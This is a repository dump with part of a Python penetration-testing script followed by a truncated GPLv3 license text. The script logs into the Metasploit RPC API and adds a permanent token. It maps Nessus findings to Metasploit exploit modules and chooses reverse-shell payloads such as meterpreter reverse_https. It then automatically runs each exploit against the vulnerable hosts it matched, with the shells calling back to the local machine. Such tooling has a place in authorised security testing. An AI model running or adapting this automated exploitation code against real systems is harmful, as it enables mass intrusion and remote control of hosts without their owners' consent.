 85 | 
 86 | def get_exploit_data(host, vuln_info, severity, operating_sys):
 87 |     '''
 88 |     Gather the exploitable vulnerability info
 89 |     '''
 90 |     if 'metasploit_name' in vuln_info:
 91 |         # Get module name, IP and port
 92 |         ip = host.address
 93 |         port = vuln_info['port']
 94 |         msf_mod = vuln_info['metasploit_name']
 95 |         exploit_data = (msf_mod, ip, port, operating_sys)
 96 | 
 97 |         return exploit_data
 98 | 
 99 | 
100 | def get_msfrpc_client():
101 |     '''
102 |     Connect to MSF RPC API with permanent token
103 |     '''
104 |     client = Msfrpc({})
105 |     client.login(args.user, args.password)
106 |     client.call('auth.token_add', ['hexacon']) # create permanent API token
107 |     client.token = 'hexacon'
108 | 
109 |     return client
110 | 
111 | 
112 | def get_console_id(client):
113 |     '''
114 |     Get or create a metasploit console for running commands
115 |     '''
116 |     c_ids = [x[b'id'] for x in client.call('console.list')[b'consoles']]
117 | 
118 |     if len(c_ids) == 0:
119 |         client.call('console.create')
120 |         c_ids = [x[b'id'] for x in client.call('console.list')[b'consoles']] # Wait for response
121 |         time.sleep(2)
122 | 
123 |     # Get the latest console
124 |     c_id = c_ids[-1].decode('utf8')
125 | 
126 |     # Clear console output
127 |     client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
128 | 
129 |     return c_id
130 | 
131 | 
132 | ########################### NEW CODE BELOW ############################
133 | 
134 | 
135 | def run_nessus_exploits(client, c_id, nes_exploits):
136 |     '''
137 |     Matches metasploit module description from Nessus output to the
138 |     actual module path. Doesn't do aux (so no DOS), just exploits
139 |     '''
140 |     local_ip = get_local_ip(get_iface())
141 |     msf_exploits = get_all_exploits(client, c_id)
142 | 
143 |     for mod_data in nes_exploits:
144 |         mod_desc = mod_data[0]
145 |         ip = mod_data[1]
146 |         port = mod_data[2]
147 |         os_type = mod_data[3]
148 |         path = get_msf_path(msf_exploits, mod_desc, os_type)
149 |         if not path:
150 |             continue
151 |         print('[+] Found vulnerable host! {}:{} - {}'.format(ip, port, path))####
152 | 
153 |         module_output = run_msf_module(client, c_id, local_ip, ip, path, port, os_type)
154 | 
155 |         if module_output:
156 |             print('[*] {} output:'.format(path))
157 |             for l in module_output:
158 |                 print('    '+l)
159 |             print('')
160 | 
161 | def get_iface():
162 |     '''
163 |     Grabs an interface so we can grab the IP off that interface
164 |     '''
165 |     try:
166 |         iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
167 |     except:
168 |         ifaces = []
169 |         for iface in netifaces.interfaces():
170 |             # list of ipv4 addrinfo dicts
171 |             ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])
172 | 
173 |             for entry in ipv4s:
174 |                 addr = entry.get('addr')
175 |                 if not addr:
176 |                     continue
177 |                 if not (iface.startswith('lo') or addr.startswith('127.')):
178 |                     ifaces.append(iface)
179 | 
180 |         # Just get the first interface
181 |         iface = ifaces[0]
182 | 
183 |     return iface
184 | 
185 | 
186 | def get_local_ip(iface):
187 |     '''
188 |     Gets the the local IP of an interface
189 |     '''
190 |     ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
191 |     return ip
192 | 
193 | 
194 | def get_all_exploits(client, c_id):
195 |     '''
196 |     Gets all exploit modules from MSF
197 |     '''
198 |     all_exploits = []
199 |     print("[*] Collecting list of all Metasploit modules...")
200 | 
201 |     cmd = "search exploit/"
202 |     output = run_console_cmd(client, c_id, cmd)
203 |     for l in output:
204 |         # Filter out nonexploits
205 |         if 'exploit/' in l:
206 |             all_exploits.append(l)
207 | 
208 |     return all_exploits
209 | 
210 | 
211 | def run_console_cmd(client, c_id, cmd):
212 |     '''
213 |     Runs module and gets output
214 |     '''
215 |     cmd = cmd + '\n'
216 | 
217 |     print('[*] Running MSF command:')
218 |     for l in cmd.splitlines():
219 |         l = l.strip()
220 |         if l != '':
221 |             print('    {}'.format(l))
222 |     print('')
223 | 
224 |     client.call('console.write',[c_id, cmd])
225 |     time.sleep(3)
226 |     mod_output = get_console_output(client, c_id)
227 | 
228 |     return mod_output
229 | 
230 | 
231 | def get_msf_path(msf_exploits, mod_desc, os_type):
232 |     '''
233 |     Converts Nessus' module desc to MSF module path
234 |     '''
235 |     for x in msf_exploits:
236 |         x_split = x.split(None, 3)
237 |         if len(x_split) == 4:
238 |             path = x_split[0]
239 |             date = x_split[1]
240 |             rank = x_split[2]
241 |             msf_desc = x_split[3]
242 |             if mod_desc.lower() in msf_desc.lower():
243 |                 if 'exploit/' in path:
244 |                     if '/local/' not in path and '/fileformat/' not in path:
245 |                         return path
246 | 
247 | 
248 | def run_msf_module(client, c_id, local_ip, ip, mod_path, port, os_type):
249 |     '''
250 |     Run a Metasploit module
251 |     '''
252 |     rhost_var = None
253 |     req_opts = get_req_opts(client, c_id, mod_path)
254 | 
255 |     # Sometimes it's RHOSTS sometimes its RHOST
256 |     for o in req_opts:
257 |         if 'RHOST' in o:
258 |             rhost_var = o
259 |         else:
260 |             rhost_var = 'RHOSTS'
261 | 
262 |     if not rhost_var:
263 |         print('[-] No RHOST required option for this module meaning it won\'t give us a shell - skipping')
264 |         return
265 | 
266 |     target_num = get_target(client, c_id, mod_path, os_type)
267 |     payload = get_payload(client, mod_path, os_type, target_num)
268 | 
269 |     # Set the various options
270 |     cmd = create_msf_cmd(mod_path, rhost_var, ip, port, payload, target_num)
271 |     settings_out = run_console_cmd(client, c_id, cmd)
272 | 
273 |     # Run!
274 |     exploit_cmd = 'exploit -z\n'
275 |     mod_out = run_console_cmd(client, c_id, exploit_cmd)
276 | 
277 |     return mod_out
278 | 
279 | 
280 | def get_req_opts(client, c_id, mod_path):
281 |     '''
282 |     Query MSF for required options for a module
283 |     '''
284 |     req_opts = []
285 |     opts = client.call('module.options', [c_id, mod_path])
286 | 
287 |     for opt_name in opts:
288 |         if b'required' in opts[opt_name]:
289 |             if opts[opt_name][b'required'] == True:
290 |                 if b'default' not in opts[opt_name]:
291 |                     req_opts.append(opt_name.decode('utf8'))
292 | 
293 |     return req_opts
294 | 
295 | 
296 | def get_target(client, c_id, mod_path, os_type):
297 |     '''
298 |     Sets the correct target based on OS
299 |     '''
300 |     found = False
301 | 
302 |     # targets = {'0':'target 0 desc'}
303 |     targets = get_target_num_lines(client, c_id, mod_path)
304 | 
305 |     # Only one target
306 |     if len(targets) == 1:
307 |         for target_num in targets:
308 |             return target_num
309 | 
310 |     # Multiple targets
311 |     else:
312 |         for target_num in targets:
313 |             #  Use automatic targeting first if given option
314 |             if 'automatic' in targets[target_num]:
315 |                 found = True
316 |                 break
317 | 
318 |             # Use the first target with matching OS type
319 |             elif os_type in targets[target_num]:
320 |                 found = True
321 |                 break
322 | 
323 |             # Use Java if neither of the first conditions are met
324 |             elif 'java' in targets[target_num]:
325 |                 found = True
326 |                 break
327 |     
328 |     # If nothing else worked just set the target to 0
329 |     if not found:
330 |         target_num = '0'
331 | 
332 |     return target_num
333 | 
334 | 
335 | def get_target_num_lines(client, c_id, mod_path):
336 |     '''
337 |     Gets just the lines of output that contain a target number
338 |     '''
339 |     targets = {}
340 |     cmd = 'use {}\nshow targets\n'.format(mod_path)
341 |     raw_targets = run_console_cmd(client, c_id, cmd)
342 | 
343 |     for l in raw_targets:
344 | 
345 |         if 'No exploit module selected' in l:
346 |             return
347 |         
348 |         # Parse the lines with actual target numbers
349 |         re_opt_num = re.match('   (\d+)   ', l)
350 |         if re_opt_num:
351 |             l = l.split(None, 1)
352 |             target_num = l[0]
353 |             targets[target_num] = l[1].lower()
354 | 
355 |     return targets
356 | 
357 | 
358 | def create_msf_cmd(mod_path, rhost_var, ip, port, payload, target_num, extra_opts=''):
359 |     '''
360 |     Creates a one-liner MSF command to set all the right options
361 |     You can set arbitrary options that don't get used which is why we autoinclude
362 |     ExitOnSession True and SRVHOST (for JBoss)
363 |     '''
364 |     local_ip = get_local_ip(get_iface())
365 |     print('[*] Setting options on {}'.format(mod_path))
366 |     cmd = """
367 |            set target {}\n
368 |            set {} {}\n
369 |            set RPORT {}\n
370 |            set LHOST {}\n
371 |            set SRVHOST {}\n
372 |            set payload {}\n
373 |            set ExitOnSession True\n
374 |            {}\n
375 |            """.format(target_num, rhost_var, ip, port, local_ip, local_ip, payload, extra_opts)
376 | 
377 |     return cmd
378 | 
379 | 
380 | def get_payload(client, mod_path, os_type, target_num):
381 |     '''
382 |     Automatically get compatible payloads
383 |     '''
384 |     payload = None
385 |     payloads = []
386 |     win_payloads = ['windows/meterpreter/reverse_https',
387 |                     'windows/x64/meterpreter/reverse_https',
388 |                     'java/meterpreter/reverse_https',
389 |                     'java/jsp_shell_reverse_tcp']
390 | 
391 |     nix_payloads = ['generic/shell_reverse_tcp',
392 |                     'java/meterpreter/reverse_https',
393 |                     'java/jsp_shell_reverse_tcp',
394 |                     'cmd/unix/reverse']
395 | 
396 |     if target_num:
397 |         payloads_dict = client.call('module.target_compatible_payloads', [mod_path, int(target_num)])
398 |     else:
399 |         payloads_dict = client.call('module.compatible_payloads', [mod_path])
400 | 
401 |     if b'error' in payloads_dict:
402 |         print('[-] Error getting payload for {}'.format(mod_path))
403 |     else:
404 |         byte_payloads = payloads_dict[b'payloads']
405 |         for p in byte_payloads:
406 |             payloads.append(p.decode('utf8'))
407 | 
408 |     # Set a preferred payload based on OS
409 |     if 'windows' in os_type:
410 |         for p in win_payloads:
411 |             if p in payloads:
412 |                 payload = p
413 | 
414 |     else:
415 |         for p in nix_payloads:
416 |             if p in payloads:
417 |                 payload = p
418 | 
419 |     # Some error handling/debug info
420 |     if payload == None:
421 |             print('[-] No preferred payload found, first and last comapatible payloads:')
422 |             print('    '+payloads[0])
423 |             print('    '+payloads[-1])
424 |             print('[-] Skipping this exploit')
425 | 
426 |     return payload
427 | 
428 | 
429 | def get_console_output(client, c_id):
430 |     '''
431 |     Gets complete command output from a console
432 |     '''
433 |     output = []
434 |     consoles = [x[b'id'].decode('utf8') for x in client.call('console.list')[b'consoles']]
435 |     list_offset = consoles.index(c_id)
436 | 
437 |     # Get any initial output
438 |     output += client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
439 | 
440 |     while client.call('console.list')[b'consoles'][list_offset][b'busy'] == True:
441 |         output += client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
442 |         time.sleep(1)
443 | 
444 |     # Get remaining output
445 |     output += client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
446 | 
447 |     return output
448 | 
449 | #################################### END NEW CODE #########################################
450 | 
451 | def main():
452 |     report = parse_nessus()
453 |     nes_exploits = get_nes_exploits(report)
454 |     client = get_msfrpc_client()
455 |     console_id = get_console_id(client)
456 |     run_nessus_exploits(client, console_id, nes_exploits)
457 | 
458 | if __name__ == '__main__':
459 |     args = parse_args() # This makes the 'args' variable global
460 |     main()
461 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                     GNU GENERAL PUBLIC LICENSE
  2 |                        Version 3, 29 June 2007
  3 | 
  4 |  Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
  5 |  Everyone is permitted to copy and distribute verbatim copies
  6 |  of this license document, but changing it is not allowed.
  7 | 
  8 |                             Preamble
  9 | 
 10 |   The GNU General Public License is a free, copyleft license for
 11 | software and other kinds of works.
 12 | 
 13 |   The licenses for most software and other practical works are designed
 14 | to take away your freedom to share and change the works.  By contrast,
 15 | the GNU General Public License is intended to guarantee your freedom to
 16 | share and change all versions of a program--to make sure it remains free
 17 | software for all its users.  We, the Free Software Foundation, use the
 18 | GNU General Public License for most of our software; it applies also to
 19 | any other work released this way by its authors.  You can apply it to
 20 | your programs, too.
 21 | 
 22 |   When we speak of free software, we are referring to freedom, not
 23 | price.  Our General Public Licenses are designed to make sure that you
 24 | have the freedom to distribute copies of free software (and charge for
 25 | them if you wish), that you receive source code or can get it if you
 26 | want it, that you can change the software or use pieces of it in new
 27 | free programs, and that you know you can do these things.
 28 | 
 29 |   To protect your rights, we need to prevent others from denying you
 30 | these rights or asking you to surrender the rights.  Therefore, you have
 31 | certain responsibilities if you distribute copies of the software, or if
 32 | you modify it: responsibilities to respect the freedom of others.
 33 | 
 34 |   For example, if you distribute copies of such a program, whether
 35 | gratis or for a fee, you must pass on to the recipients the same
 36 | freedoms that you received.  You must make sure that they, too, receive
 37 | or can get the source code.  And you must show them these terms so they
 38 | know their rights.
 39 | 
 40 |   Developers that use the GNU GPL protect your rights with two steps:
 41 | (1) assert copyright on the software, and (2) offer you this License
 42 | giving you legal permission to copy, distribute and/or modify it.
 43 | 
 44 |   For the developers' and authors' protection, the GPL clearly explains
 45 | that there is no warranty for this free software.  For both users' and
 46 | authors' sake, the GPL requires that modified versions be marked as
 47 | changed, so that their problems will not be attributed erroneously to
 48 | authors of previous versions.
 49 | 
 50 |   Some devices are designed to deny users access to install or run
 51 | modified versions of the software inside them, although the manufacturer
 52 | can do so.  This is fundamentally incompatible with the aim of
 53 | protecting users' freedom to change the software.  The systematic
 54 | pattern of such abuse occurs in the area of products for individuals to
 55 | use, which is precisely where it is most unacceptable.  Therefore, we
 56 | have designed this version of the GPL to prohibit the practice for those
 57 | products.  If such problems arise substantially in other domains, we
 58 | stand ready to extend this provision to those domains in future versions
 59 | of the GPL, as needed to protect the freedom of users.
 60 | 
 61 |   Finally, every program is threatened constantly by software patents.
 62 | States should not allow patents to restrict development and use of
 63 | software on general-purpose computers, but in those that do, we wish to
 64 | avoid the special danger that patents applied to a free program could
 65 | make it effectively proprietary.  To prevent this, the GPL assures that
 66 | patents cannot be used to render the program non-free.
 67 | 
 68 |   The precise terms and conditions for copying, distribution and
 69 | modification follow.
 70 | 
 71 |                        TERMS AND CONDITIONS
 72 | 
 73 |   0. Definitions.
 74 | 
 75 |   "This License" refers to version 3 of the GNU General Public License.
 76 | 
 77 |   "Copyright" also means copyright-like laws that apply to other kinds of
 78 | works, such as semiconductor masks.
 79 | 
 80 |   "The Program" refers to any copyrightable work licensed under this
 81 | License.  Each licensee is addressed as "you".  "Licensees" and
 82 | "recipients" may be individuals or organizations.
 83 | 
 84 |   To "modify" a work means to copy from or adapt all or part of the work
 85 | in a fashion requiring copyright permission, other than the making of an
 86 | exact copy.  The resulting work is called a "modified version" of the
 87 | earlier work or a work "based on" the earlier work.
 88 | 
 89 |   A "covered work" means either the unmodified Program or a work based
 90 | on the Program.
 91 | 
 92 |   To "propagate" a work means to do anything with it that, without
 93 | permission, would make you directly or secondarily liable for
 94 | infringement under applicable copyright law, except executing it on a
 95 | computer or modifying a private copy.  Propagation includes copying,
 96 | distribution (with or without modification), making available to the
 97 | public, and in some countries other activities as well.
 98 | 
 99 |   To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies.  Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 | 
103 |   An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License.  If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 | 
112 |   1. Source Code.
113 | 
114 |   The "source code" for a work means the preferred form of the work
115 | for making modifications to it.  "Object code" means any non-source
116 | form of a work.
117 | 
118 |   A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 | 
123 |   The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form.  A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 | 
134 |   The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities.  However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work.  For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 | 
147 |   The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 | 
151 |   The Corresponding Source for a work in source code form is that
152 | same work.
153 | 
154 |   2. Basic Permissions.
155 | 
156 |   All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met.  This License explicitly affirms your unlimited
159 | permission to run the unmodified Program.  The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work.  This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 | 
164 |   You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force.  You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright.  Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 | 
175 |   Conveying under any other circumstances is permitted solely under
176 | the conditions stated below.  Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 | 
179 |   3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 | 
181 |   No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 | 
187 |   When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 | 
195 |   4. Conveying Verbatim Copies.
196 | 
197 |   You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 | 
205 |   You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 | 
208 |   5. Conveying Modified Source Versions.
209 | 
210 |   You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 | 
214 |     a) The work must carry prominent notices stating that you modified
215 |     it, and giving a relevant date.
216 | 
217 |     b) The work must carry prominent notices stating that it is
218 |     released under this License and any conditions added under section
219 |     7.  This requirement modifies the requirement in section 4 to
220 |     "keep intact all notices".
221 | 
222 |     c) You must license the entire work, as a whole, under this
223 |     License to anyone who comes into possession of a copy.  This
224 |     License will therefore apply, along with any applicable section 7
225 |     additional terms, to the whole of the work, and all its parts,
226 |     regardless of how they are packaged.  This License gives no
227 |     permission to license the work in any other way, but it does not
228 |     invalidate such permission if you have separately received it.
229 | 
230 |     d) If the work has interactive user interfaces, each must display
231 |     Appropriate Legal Notices; however, if the Program has interactive
232 |     interfaces that do not display Appropriate Legal Notices, your
233 |     work need not make them do so.
234 | 
235 |   A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit.  Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 | 
245 |   6. Conveying Non-Source Forms.
246 | 
247 |   You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 | 
252 |     a) Convey the object code in, or embodied in, a physical product
253 |     (including a physical distribution medium), accompanied by the
254 |     Corresponding Source fixed on a durable physical medium
255 |     customarily used for software interchange.
256 | 
257 |     b) Convey the object code in, or embodied in, a physical product
258 |     (including a physical distribution medium), accompanied by a
259 |     written offer, valid for at least three years and valid for as
260 |     long as you offer spare parts or customer support for that product
261 |     model, to give anyone who possesses the object code either (1) a
262 |     copy of the Corresponding Source for all the software in the
263 |     product that is covered by this License, on a durable physical
264 |     medium customarily used for software interchange, for a price no
265 |     more than your reasonable cost of physically performing this
266 |     conveying of source, or (2) access to copy the
267 |     Corresponding Source from a network server at no charge.
268 | 
269 |     c) Convey individual copies of the object code with a copy of the
270 |     written offer to provide the Corresponding Source.  This
271 |     alternative is allowed only occasionally and noncommercially, and
272 |     only if you received the object code with such an offer, in accord
273 |     with subsection 6b.
274 | 
275 |     d) Convey the object code by offering access from a designated
276 |     place (gratis or for a charge), and offer equivalent access to the
277 |     Corresponding Source in the same way through the same place at no
278 |     further charge.  You need not require recipients to copy the
279 |     Corresponding Source along with the object code.  If the place to
280 |     copy the object code is a network server, the Corresponding Source
281 |     may be on a different server (operated by you or a third party)
282 |     that supports equivalent copying facilities, provided you maintain
283 |     clear directions next to the object code saying where to find the
284 |     Corresponding Source.  Regardless of what server hosts the
285 |     Corresponding Source, you remain obligated to ensure that it is
286 |     available for as long as needed to satisfy these requirements.
287 | 
288 |     e) Convey the object code using peer-to-peer transmission, provided
289 |     you inform other peers where the object code and Corresponding
290 |     Source of the work are being offered to the general public at no
291 |     charge under subsection 6d.
292 | 
293 |   A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 | 
297 |   A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling.  In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage.  For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product.  A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 | 
310 |   "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source.  The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 | 
318 |   If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information.  But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 | 
329 |   The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed.  Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 | 
337 |   Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 | 
343 |   7. Additional Terms.
344 | 
345 |   "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law.  If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 | 
354 |   When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it.  (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.)  You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 | 
361 |   Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 | 
365 |     a) Disclaiming warranty or limiting liability differently from the
366 |     terms of sections 15 and 16 of this License; or
367 | 
368 |     b) Requiring preservation of specified reasonable legal notices or
369 |     author attributions in that material or in the Appropriate Legal
370 |     Notices displayed by works containing it; or
371 | 
372 |     c) Prohibiting misrepresentation of the origin of that material, or
373 |     requiring that modified versions of such material be marked in
374 |     reasonable ways as different from the original version; or
375 | 
376 |     d) Limiting the use for publicity purposes of names of licensors or
377 |     authors of the material; or
378 | 
379 |     e) Declining to grant rights under trademark law for use of some
380 |     trade names, trademarks, or service marks; or
381 | 
382 |     f) Requiring indemnification of licensors and authors of that
383 |     material by anyone who conveys the material (or modified versions of
384 |     it) with contractual assumptions of liability to the recipient, for
385 |     any liability that these contractual assumptions directly impose on
386 |     those licensors and authors.
387 | 
388 |   All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10.  If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term.  If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 | 
398 |   If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 | 
403 |   Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 | 
407 |   8. Termination.
408 | 
409 |   You may not propagate or modify a covered work except as expressly
410 | provided under this License.  Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 | 
415 |   However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 | 
422 |   Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 | 
429 |   Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License.  If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 | 
435 |   9. Acceptance Not Required for Having Copies.
436 | 
437 |   You are not required to accept this License in order to receive or
438 | run a copy of the Program.  Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance.  However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work.  These actions infringe copyright if you do
443 | not accept this License.  Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 | 
446 |   10. Automatic Licensing of Downstream Recipients.
447 | 
448 |   Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License.  You are not responsible
451 | for enforcing compliance by third parties with this License.
452 | 
453 |   An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations.  If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 | 
463 |   You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License.  For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 | 
471 |   11. Patents.
472 | 
473 |   A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based.  The
475 | work thus licensed is called the contributor's "contributor version".
476 | 
477 |   A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version.  For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 | 
487 |   Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 | 
492 |   In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement).  To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 | 
499 |   If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
